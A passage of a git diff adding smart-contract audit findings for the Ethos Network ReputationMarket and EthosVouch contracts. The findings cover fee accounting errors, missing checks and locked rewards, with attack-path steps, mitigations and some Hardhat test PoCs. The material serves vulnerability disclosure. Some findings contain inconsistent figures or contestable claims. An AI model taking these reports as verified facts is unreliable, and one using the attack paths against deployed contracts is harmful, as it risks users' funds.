can't be withdrawn +- Graduated market funds can't be withdrawn +- It violates Readme because there will be reverts due to running out of funds + +### PoC + +_No response_ + +### Mitigation + +Correct way to update is to use purchase amount after fees deducted in buy; and amount before fees deducted in sell. \ No newline at end of file diff --git a/067.md b/067.md new file mode 100644 index 0000000..6b600a0 --- /dev/null +++ b/067.md @@ -0,0 +1,72 @@ +Magic Basil Caterpillar + +High + +# users funds loss and/or transaction reverts due to out of funds in ReputationMarket contract + +### Summary + + In current ReputationMarket contract logic, marketFunds[profileId] state variable was wrongly updated.Due to which entryprotocolfee+donationfee was wrongly collected twice from contract in 2 different ways.1) directly when buying votes.2)In form of withdrawGraduatedMarketFunds. +which will make future transactions revert due to insufficient Eth balance of ReputationMarket, eventually users loss funds. + +### Root Cause + +If users wants to buy votes then they call ReputationMarket::buyVotes function +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 +Then it internally calls _calculateBuy function which will returns votesBought, fundsPaid, protocolFee,donation,minVotePrice,maxVotePrice +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L451-L459 +now let's see _calculateBuy function logic, +It internally calls previewFees function to calculate protocolFee,donation and fundsAvailable after deducting protocolFee+donation from msg.value. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141-L1153 +Then it calculates no of votes user can buy with remaining fundsAvailable and fundsPaid to buy those votes. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L970-L976 +until now fundsPaid = amount used to buy votes. +but now we are adding protocolfee+donation to fundsPaid making it,fundsPaid = amount used to buyvotes + protocolFee+donation. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 +Then buyVotes function internally calls applyFees function to send protocol fee to protocal and update donationEscrow variable such that profileId owner can withdraw donations. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L464 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116-L1127 +now it updates marketFunds[profileId] += fundsPaid; +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +In this whole process, first we are sending protocol fee to protocol and adding donations to donationEscrow[profileId]. +and again we are adding fundsPaid to marketFunds[profileId] . +marketFunds[profileId] += fundsPaid which equals to +marketFunds[profileId] += amount to buy votes +protocolFee+donations.as fundsPaid is wrongly updated to amount to buy votes +protocolFee+donations instead of amount to buy votes. +After graduation of a market, user with role GRADUATION_WITHDRAWAL can withdraw marketFunds(marketFunds[profileId]). +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678 +which means protocolFee+donation was collecting twice from the contract which will break accounting of the contract. +so user transactions in future will revert due to out of funds(contract not having enough Eth to give to users who sell there votes and while withdrawing GraduatedMarketFunds). + + + + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +wrongly collecting protocolFee+donation from ReputationMarket twice for every time a user buys votes, which will break accounting of the contract(Eth balance of contract is not enough to pay to users who sell their votes and at time of withdrawing GraduatedMarketFunds in future).so users loss there funds. + +### PoC + +_No response_ + +### Mitigation + +modify code here, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +with this, +```marketFunds[profileId] += (fundsPaid-protocolFee-donation);``` +so that marketFunds[profileId] is correctly updated. \ No newline at end of file diff --git a/068.md b/068.md new file mode 100644 index 0000000..7c01a05 --- /dev/null +++ b/068.md @@ -0,0 +1,39 @@ +Ripe Sage Ant + +High + +# Users always pay higher fees in EthosVouch.sol + +### Summary + +EthosVouch.sol overestimates fees to pay, so users always pay higher fees. That's because fee formula overestimates result when called multiple times with partial fee. + +### Root Cause + +-The choice to use `calcFee()` multiple times makes final fees higher than expected. As it is formula used in `calcFee()` is OK, however by design it will calculate higher fees when called multiple times for partial fee. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Suppose `protocolFee = 3%`, `donationFee = 3%`, `vouchersPoolFee = 4%`. So total fee is 10%. +2. User calls `vouchByProfileId()` and submits 1 ETH. According to [formula in `calcFee()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L976-L985) it must calculate `1 - 1 * 100% / 110%` = 0.091 ETH. +3. However in 3 different calls it [will calculate](https://www.wolframalpha.com/input?i=%281+-+1+*+100%25+%2F+103%25%29+%2B+%281+-+1+*+100%25+%2F+103%25%29+%2B+%281+-+1+*+100%25+%2F+104%25%29) 0.096 ETH. Which is [5.5% higher](https://www.wolframalpha.com/input?i=%280.096+-+0.091%29+%2F+0.091+*+100) fee rate than expected. + +### Impact + +Protocol always overcharges users with additional fee due to incorrect calculation. For example extra 10.05% instead of 10%. + +### PoC + +_No response_ + +### Mitigation + +Calculate fee amount at once, and than divide it into different fee types according to weights. \ No newline at end of file diff --git a/069.md b/069.md new file mode 100644 index 0000000..1b81cc4 --- /dev/null +++ b/069.md @@ -0,0 +1,43 @@ +Ripe Sage Ant + +Medium + +# User can vouch on archived subject contrary to documentation + +### Summary + +The missing check in `increaseVouch()` allows to vouch on archived subjectId. + +### Root Cause + +In [increaseVouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444) there is missing check that subjectProfileId is not archived. + +As a result user can vouch for archived subject [contrary to documentation](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L32) + +### Internal pre-conditions + +Author must submit vouch when subject is not archived. And only then he is available to increase balance. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls `vouchByProfileId()` with minimum amount +2. Subject is archived +3. User calls `increaseVouch()`, increasing his stake on archived subject + +### Impact + +Documentation is violated. Description in the file beginning serves as documentation. + +User can increase stake balance on archived subject. It is hard to point out exact impact because system is not fully implemented yet. + +### PoC + +_No response_ + +### Mitigation + +Add missing check. \ No newline at end of file diff --git a/070.md b/070.md new file mode 100644 index 0000000..827489f --- /dev/null +++ b/070.md @@ -0,0 +1,43 @@ +Furry Hickory Gazelle + +Medium + +# Missing Pausable Modifier Allows Unauthorized Fund Transfers to Locked Ethos Contract + +### Summary + +The [increaseVouch function](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) in the `Ethos contract` allows users to add funds (vouchers) to a specified profile. While the contract implements a mechanism to lock activities using a pausable state, this specific function does not include a check for whether the contract is paused. Consequently, users can bypass the lock mechanism and continue interacting with the contract even when it is explicitly paused for maintenance or to prevent malicious activity. + +This omission undermines the intended purpose of the pausable mechanism, which is to halt all activity during critical periods, such as upgrades, emergency scenarios, or vulnerability patching. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users can send funds into the contract despite it being in a paused state, potentially exposing those funds to risks during a critical event (e.g., an exploit or protocol freeze). + +### PoC + +_No response_ + +### Mitigation + +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant whenNotPaused { + // Function logic remains the same +} +``` \ No newline at end of file diff --git a/071.md b/071.md new file mode 100644 index 0000000..82c677e --- /dev/null +++ b/071.md @@ -0,0 +1,99 @@ +Calm Fiery Llama + +Medium + +# Updating the `unhealthyResponsePeriod` also impacts past vouches + +### Summary + +Currently, a voucher can decide whether to mark a vouch as unhealthy, as long as the `unhealthyResponsePeriod` has not expired since they unvouched. However, users may still be able to mark a vouch as unhealthy even after the `unhealthyResponsePeriod` has already passed before, if the `unhealthyResponsePeriod` is extended. + +### Root Cause + +When it is checked whether the author [still has time](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L857-L858) to mark a vouch as unhealthy, the current `unhealthyResponsePeriod` is used instead of the one that was in effect when the user unvouched. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. Alice vouches for ProfileA. +2. Alice calls `EthosVouch::unvouch()` to revoke her vouch because she has lost trust in the profile she previously vouched for. She can mark the vouch as unhealthy until the `unhealthyResponsePeriod` (currently set to `24 hours`) expires. +3. The `unhealthyResponsePeriod` expires. +4. Twelve hours later, `updateUnhealthyResponsePeriod()` is called to increase the unhealthy response period to `48 hours`. +5. Now, Alice can call `EthosVouch::markUnhealthy()`, even though the `unhealthyResponsePeriod` has already expired once. + +### Impact + +Users will still be able to mark a vouch as unhealthy, even if the `unhealthyResponsePeriod` at the time of unvouching has already expired. This means that even vouches that have been unvouched for several months could be marked as unhealthy if the `unhealthyResponsePeriod` was extended long enough. + +As a result, vouchers can mark a vouch as unhealthy, even if they did not distrust the subject when they unvouched it. This increases the risk of manipulation of the protocol's reputation system. + +### PoC + +The following test should be added in `EthosVouch.test.ts`: + +```solidity + it('should succeed marking vouch unhealthy when unhealthyResponsePeriod extended', async () => { + const { + ethosProfile, + ethosVouch, + ADMIN, + OWNER, + PROFILE_CREATOR_0, + VOUCHER_0, + } = await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + + expect(await ethosProfile.profileIdByAddress(PROFILE_CREATOR_0.address)).to.be.equal( + 2, + 'wrong profile Id', + ); + + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(2, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('1.1'), + }); + + expect(await ethosVouch.vouchCount()).to.equal(1, 'Wrong vouchCount'); + + await ethosVouch.connect(ADMIN).updateUnhealthyResponsePeriod(86400); + expect(await ethosVouch.unhealthyResponsePeriod()).to.equal( + 86400, + 'Wrong unhealthyResponsePeriod, 0', + ); + + await ethosVouch.connect(VOUCHER_0).unvouch(0); + + await time.increase(100); + + await time.increase(await ethosVouch.unhealthyResponsePeriod()); + + await expect(ethosVouch.connect(VOUCHER_0).markUnhealthy(0)) + .to.be.revertedWithCustomError(ethosVouch, 'CannotMarkVouchAsUnhealthy') + .withArgs(0); + + await ethosVouch.connect(ADMIN).updateUnhealthyResponsePeriod(172800); + expect(await ethosVouch.unhealthyResponsePeriod()).to.equal( + 172800, + 'Wrong unhealthyResponsePeriod, 1', + ); + + await time.increase(43100); + + await ethosVouch.connect(VOUCHER_0).markUnhealthy(0) + }); +``` + +### Mitigation + +Only the `unhealthyResponsePeriod` at the time a user unvouches should be considered when `EthosVouch::markUnhealthy()` is called, so that once this period expires, the user will no longer be able to mark a vouch as unhealthy. \ No newline at end of file diff --git a/072.md b/072.md new file mode 100644 index 0000000..9eabf40 --- /dev/null +++ b/072.md @@ -0,0 +1,60 @@ +Square Flint Grasshopper + +Medium + +# Critical Index Mismatch in removeMarketConfig: Off-Chain Data Integrity at Risk + +### Summary + +The removeMarketConfig function swaps the configuration to be removed with the last configuration in the array before removing it. This causes an inconsistency in the index-to-config mapping without emitting an event to indicate the change. Indexers relying on the emitted events may retain outdated references, leading to incorrect data in off-chain systems. + +To address this issue, emit a new event, MarketConfigUpdated, whenever a configuration is swapped to update indexers with the new mapping. + +### Root Cause + +- In [ReputationMarket.sol:400](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L400) is emitted that config was removed with configIndex +- In [ReputationMarket.sol:403-406](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L403-L406) configs are swapped, so id were changed + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +- Multiple market configurations exist in the marketConfigs array. +- At least one configuration index is tracked off-chain by an indexer based on emitted events (MarketConfigAdded). + +### Attack Path + +- A user or admin removes a configuration at an index other than the last one. +- The function swaps the configuration with the last one and emits a MarketConfigRemoved event for the removed index. +- No event is emitted for the new mapping of the swapped configuration. +- Indexers retain outdated mappings, causing inconsistencies in off-chain systems and potentially leading to errors in user interfaces or reporting systems. + +### Impact + +While this bug does not compromise on-chain functionality or security, it affects the reliability of off-chain systems, which can lead to incorrect data being displayed to users or invalid operations in dependent systems. + +### PoC + +_No response_ + +### Mitigation + + Introduce a new event, MarketConfigUpdated, and emit it whenever a configuration index is changed due to the swap. + +```solidity +event MarketConfigUpdated(uint256 oldIndex, uint256 newIndex, MarketConfig updatedConfig); +``` + +Update the removeMarketConfig function to emit the new event: + +```solidity +if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + emit MarketConfigUpdated(lastIndex, configIndex, marketConfigs[configIndex]); +} +``` + +This ensures indexers can track updates to the index mapping and maintain accurate off-chain data. \ No newline at end of file diff --git a/073.md b/073.md new file mode 100644 index 0000000..d4d6f6e --- /dev/null +++ b/073.md @@ -0,0 +1,182 @@ +Calm Fiery Llama + +High + +# Unclaimable rewards for verified mock profiles due to rewards being tied to the mock's profileId + +### Summary + +Vouchers pay a donation fee to the subject they vouch for, if the `entryDonationFeeBasisPoints` is greater than `0`. Additionally, vouching for mock profiles is allowed [in case they are later verified](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L363) (i.e., registered to an existing profile). + +However, since the rewards are tied to the profileId of the subject, if mock profiles are verified, their rewards will not be claimable because their profileId will change to that of the profile registering them. + +### Root Cause + +In `EthosVouch.sol`, rewards from donation fees are tied to the subject's profile Id instead of a specific address of that profile. + +### Internal pre-conditions + +1. The `entryDonationFeeBasisPoints` must be greater than `0`. +2. A mock needs to be active. This occurs, for example, when a review is added to an unregistered address. + +### External pre-conditions + +None. + +### Attack Path + +1. A user vouches for a mock by calling `EthosVouch::vouchByAddress()`. The rewards are tied to the mock's current ProfileId. +2. Another user calls `EthosProfile::registerAddress()` to register the mock to their profile. The mock's ProfileId is now the one of the profile that registered it. +3. The original mock calls `EthosVouch::claimRewards()`, but they can only claim the rewards associated with their new ProfileId. This call reverts if the ProfileId does not have any claimable rewards. + +### Impact + +A mock cannot claim their rewards if it has been verified with a profile after it has been vouched for. The rewards will be stuck in the contract forever. + +### PoC + +The following needs to be added in `EthosVouch.test.ts`: + +```solidity +import { type HardhatEthersSigner } from '@nomicfoundation/hardhat-ethers/signers.js'; +import { type EthosReview } from '../typechain-types/index.js'; +import { common } from './utils/common.js'; + +const Score = { + Negative: 0, + Neutral: 1, + Positive: 2, +}; + +type AttestationDetails = { + account: string; + service: string; +}; +const defaultComment = 'default comment'; +const defaultMetadata = JSON.stringify({ itemKey: 'item value' }); + +async function allowPaymentToken( + admin: HardhatEthersSigner, + ethosReview: EthosReview, + paymentTokenAddress: string, + isAllowed: boolean, + priceEth: bigint, +): Promise { + await ethosReview.connect(admin).setReviewPrice(isAllowed, paymentTokenAddress, priceEth); +} +``` + +Now, the following test can be added in `EthosVouch.test.ts`: + +```solidity +it('should fail if rewards for claimed mock', async () => { + const { + ethosProfile, + ethosReview, + ethosVouch, + ADMIN, + OWNER, + PROFILE_CREATOR_0, + PROFILE_CREATOR_1, + OTHER_0, + EXPECTED_SIGNER, + VOUCHER_0, + } = await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + + const reviewPrice = ethers.parseEther('1.23456789'); + await allowPaymentToken(ADMIN, ethosReview, ethers.ZeroAddress, true, reviewPrice); + + const params = { + score: Score.Positive, + subject: OTHER_0.address, + paymentToken: ethers.ZeroAddress, + comment: defaultComment, + metadata: defaultMetadata, + attestationDetails: { + account: '', + service: '', + } satisfies AttestationDetails, + }; + + await ethosReview + .connect(PROFILE_CREATOR_0) + .addReview( + params.score, + params.subject, + params.paymentToken, + params.comment, + params.metadata, + params.attestationDetails, + { value: reviewPrice }, + ); + + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); + await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + + expect(await ethosProfile.profileIdByAddress(OTHER_0.address)).to.be.equal( + 3, + 'wrong mock Id', + ); + + // set donation fee to 1000 + await ethosVouch.connect(ADMIN).setEntryDonationFeeBasisPoints(1000); + + expect(await ethosVouch.entryDonationFeeBasisPoints()).to.be.equal( + 1000, + 'wrong donation fee', + ); + + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('1.1'), + }); + + expect(await ethosVouch.vouchCount()).to.equal(1, 'Wrong vouchCount'); + + // rewards should be 0.1 eth + expect(await ethosVouch.rewards(3)).to.be.equal( + 100000000000000000n, + 'wrong rewards', + ); + + // mock is registered with a profile + const signature = await common.signatureForRegisterAddress( + OTHER_0.address, + '4', + '29548234957', + EXPECTED_SIGNER, + ); + + await ethosProfile + .connect(PROFILE_CREATOR_1) + .registerAddress(OTHER_0.address, 4, 29548234957, signature); + + // profile Id for mock changes + expect(await ethosProfile.profileIdByAddress(OTHER_0.address)).to.be.equal( + 4, + 'wrong profileId', + ); + + // new profile Id has its own rewards, in this case 0 + expect(await ethosVouch.rewards(4)).to.be.equal( + 0, + 'wrong rewards', + ); + + // rewards of old profile Id cannot be claimed, instead it reverts as the new one has 0 rewards + await expect( + ethosVouch + .connect(OTHER_0) + .claimRewards(), + ).to.be.revertedWithCustomError(ethosVouch, 'InsufficientRewardsBalance'); +}); +``` + +### Mitigation + +Consider tying the rewards for a subject that is a mock to its address instead of its ProfileId. \ No newline at end of file diff --git a/074.md b/074.md new file mode 100644 index 0000000..0e6c9ee --- /dev/null +++ b/074.md @@ -0,0 +1,67 @@ +Magic Basil Caterpillar + +High + +# users funds loss and/or transaction reverts due to insufficient Eth balance in ReputationMarket contract + +### Summary + +In current ReputationMarket contract logic, marketFunds[profileId] state variable was wrongly updated in ReputationMarket::sellVotes function.Due to which exitProtocolFee was wrongly collecting twice from the contract. +1)while selling the votes +2)while withdrawing GraduatedMarketFunds +due to which future transactions revert due to insufficient Eth balance therefore users loss funds. + + + +### Root Cause + +If users want to sell votes then they will call ReputationMarket::sellVotes function +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 +Then it internally calls _calculateSell function which calculates and return votesSold,fundsReceived,protocolFee,minVotePrice,maxVotePrice values. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L503-L510 +Now let's see _calculateSell function logic, +It calculates fundsReceived from selling votes using _calcVotePrice function in while loop which iterates untill votesSold = amount of votes user specify to sell. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1031-L1040 +now value of fundsReceived = amount from selling votes. +Then it internally calls PreviewFees function which calculates the exitProtocolFee and returns exitProtocolFee and fundsReceived after deducting exitProtocolfee from it. +now, fundsReceived = amount from selling votes - exitProtocolFee. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141-L1153 +now sellVotes function internally calls applyFees function which sends exitProtocolFee to protocolFeeAddress. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L517 +then it calls _sendEth function which transfers fundReceived to user who is selling the votes. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L520 +now as we observe both exitProtocolFee and fundReceived is transferred out of ReputationMarket contract.so we should deduct fundReceived+protocolFee from marketFunds[profileId],but we wrongly deducting only fundReceived from marketFunds[profileId]. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 +now marketFunds[profileId] value will be greater than what it should be by exitProtocolFee. +so now when user with GRADUATION_WITHDRAWAL role withdrawing from GraduatedMarketFunds it will transfer more funds than what actually should transfer to him. +which means exitProtocolFee was collecting twice from the contract which will break accounting of the contract. +so user transactions in future will revert due to out of funds(contract not having enough Eth to give to users who sell there votes and while withdrawing GraduatedMarketFunds). + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +wrongly collecting exitProtocolFee from ReputationMarket twice for every time a user sells votes(1)while selling votes 2)while withdrawing from GraduatedMarketFunds), which will break accounting of the contract(Eth balance of contract is not enough to pay to users who sell their votes and at time of withdrawing GraduatedMarketFunds in future).so users loss there funds. + +### PoC + +_No response_ + +### Mitigation + +modify code here, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 +with this, +marketFunds[profileId] -= (fundsReceived+protocolFee); +so that marketFunds[profileId] is correctly updated. \ No newline at end of file diff --git a/075.md b/075.md new file mode 100644 index 0000000..448e338 --- /dev/null +++ b/075.md @@ -0,0 +1,38 @@ +Calm Fiery Llama + +High + +# Unclaimed mock profiles are unable to claim rewards, causing vouchers to pay donation fees for no benefit + +### Summary + +The [check](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L673-L675) in `EthosVouch.sol` will prevent mock profiles from claiming their rewards. Therefore, vouchers will pay donation fees for nothing and the funds will be stuck in the contract. + +### Root Cause + +In `EthosVouch.sol:673`, a check ensures that mock profiles cannot claim their rewards, even though the protocol explicitly allows vouches for mocks. + +### Internal pre-conditions + +1. `entryDonationFeeBasisPoints` needs to be greater than `0`. + +### External pre-conditions + +None. + +### Attack Path + +1. A user calls `EthosVouch::vouchByAddress()` or `EthosVouch::vouchByProfileId()` to vouch for a mock profile. The caller pays a donation fee, which should later be claimable by the mock. +2. The mock profile calls `EthosVouch::claimRewards()` to claim their rewards, but the call reverts. + +### Impact + +Mock profiles cannot claim their rewards, and the funds will be stuck in the contract. Furthermore, vouchers will pay a donation fee for nothing if they vouch for a mock profile, essentially donating the funds to the contract. + +### PoC + +_No response_ + +### Mitigation + +Consider allowing mock profiles to call `EthosVouch::claimRewards()` to claim their rewards. \ No newline at end of file diff --git a/076.md b/076.md new file mode 100644 index 0000000..7c16b96 --- /dev/null +++ b/076.md @@ -0,0 +1,44 @@ +Furry Hickory Gazelle + +High + +# Potential Exploitation of Vouching Mechanism Through Minimum Vouch Amounts + +### Summary + +The current design of the vouching system in the platform allows authors to vouch for subjects at the minimum vouch amount `(e.g., 0.0001Ξ)`, thereby placing their credibility at the lowest possible level. This flexibility enables authors to vouch for a subject with minimal stakes, potentially filling slots that are intended for more significant endorsements from credible actors that the subject intended. Authors can exploit this mechanism by selling their vouchers externally, which could undermine the integrity of the credibility system, as subjects can acquire credibility through minimal investment. Additionally, subjects can receive a maximum of [256 vouches](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L287) or [lesser](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L648), and this threshold creates an opportunity for authors to strategically manipulate the system with minimal financial involvement, disturbing the credibility model. This creates the risk of devaluing the trust-based reputation system and destabilizing the platform’s trust metrics. + + +### Impact + +Reputation Disruption: The ability to vouch with minimal stakes undermines the credibility system by allowing authors to influence a subject’s credibility without substantial financial commitment. This could distort the platform’s reputation model, where credibility should ideally be tied to genuine financial stakes. + +Authors could sell their vouchers externally, leading to potential manipulation of the system for profit, without contributing to the platform’s intended trust-building mechanism. + +The platform’s philosophy of using stake value for credibility becomes vulnerable to manipulation, as small investments can yield significant control over a subject’s perceived trustworthiness. + +### PoC + +Here are the questions to ask; + +### 1. Did the subject have the power to remove vouches? +**No.** +- As per the system’s design, the subject does not have the ability to remove vouches, as vouches are controlled solely by the author. + +### 2. Can authors decide to vouch for the subject with the minimum vouch amount? +**Yes.** +- Authors can vouch for the subject with the minimum required vouch amount (e.g., 0.0001 ETH), allowing them to place their credibility at the lowest level. + + +### 3. Can a bad author decide to vouch for the subject just to limit their credibility for gain? +**Yes.** +- A malicious or bad actor can vouch for a subject at the minimum vouch amount, [placing their credibility on the subject with little financial investment](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L22), potentially to manipulate or gain from the system. + + +### 4. Is there a limit for vouches on a subject? +**Yes.** +- The maximum number of vouches a subject can receive is limited to [256](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L649). Once this limit is reached, no more vouches can be added for that subject. + +### Mitigation + +The system should permit subjects to create their own required acceptable minimum amount to accept for a vouch, if it is not created, the default amount should be use to ensure at least authors deposits above minimum. \ No newline at end of file diff --git a/077.md b/077.md new file mode 100644 index 0000000..41b3b91 --- /dev/null +++ b/077.md @@ -0,0 +1,85 @@ +Bubbly Porcelain Blackbird + +High + +# The author `vouch.balance` locked forever + +### Summary +The profile unable to withdraw their `vouch.balance`, due to an unexpected check. +### Root Cause +Consider that a `profileId` is created and managed by an organization. This `profileId` is associated with a list of `addresses[]` responsible for managing the profile across the Ethos ecosystem, including the `headAddr`(address that created the profile). + +```solidity +addresses= [headAddr, addr1, addr2, addr3] +profileIdByAddress[headAddr] == profileIdByAddress[addr1] == profileIdByAddress[addr2] == profileIdByAddress[addr3] == 10(say) -----------------(1) +``` + +The `addr2` is actively staking on `EthosVouch` contract as an `author` to earn rewards(from voucher pool) and to build a strong foundation of trust with other organizations(subjects) on behalf of its organization(author). + +Let's say the `addr2` vouch for `subjectId==5`, the `vouches` states updates as + +```solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { + ...snip... + + vouchIdByAuthorForSubjectProfileId[authorProfileId][subjectProfileId] = count; + vouches[count] = Vouch({ + archived: false, + unhealthy: false, + authorProfileId: authorProfileId, >> @audit set 10 + authorAddress: msg.sender, >> @audit set addr2 + vouchId: count, + balance: toDeposit, + subjectProfileId: subjectProfileId, // 5 + comment: comment, + metadata: metadata, + activityCheckpoints: ActivityCheckpoints({ + vouchedAt: block.timestamp, + unvouchedAt: 0, + unhealthyAt: 0 + }) + }); + + emit Vouched(count, authorProfileId, subjectProfileId, msg.value); + vouchCount++; +} +``` +where the `vouches[X].authorAddress` is set to `addr2`. + + +The protocol allows other members of the profile, such as `headAddr`, `addr1`, and `addr3`, to call `increaseVouch()` on behalf of the organization. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426 +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); >> @audit due to (1), this will pass +...snip... +``` +However, it restricts the `unvouch()` function to `addr2` only. If other members attempt to call `unvouch()`, the txn reverts due to following check +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L459 +```solidity + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } +``` +this is dangerous, under a condition where the profileAddress(`=addr2`) turns to be malignant, the organization(basically the `headAddr`) can delete or mark it compromised, thinking other members can `unvouch()` it also. This leads the vouch balance to locked forever in `EthosVouch` contract(neither the compromised `addr2` can withdraw it). + +### Impact +Due to restriction imposed on `unvouch()`, the profile funds locked forever in the `Vouch` contract. + +### PoC +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosProfile.sol#L391 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L459-L461 + +### Mitigation +Similar to [`increaseVouch()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L432-L434), allow other addresses of the profile to `unvouch()` also. \ No newline at end of file diff --git a/078.md b/078.md new file mode 100644 index 0000000..25f4e82 --- /dev/null +++ b/078.md @@ -0,0 +1,37 @@ +Calm Fiery Llama + +Medium + +# 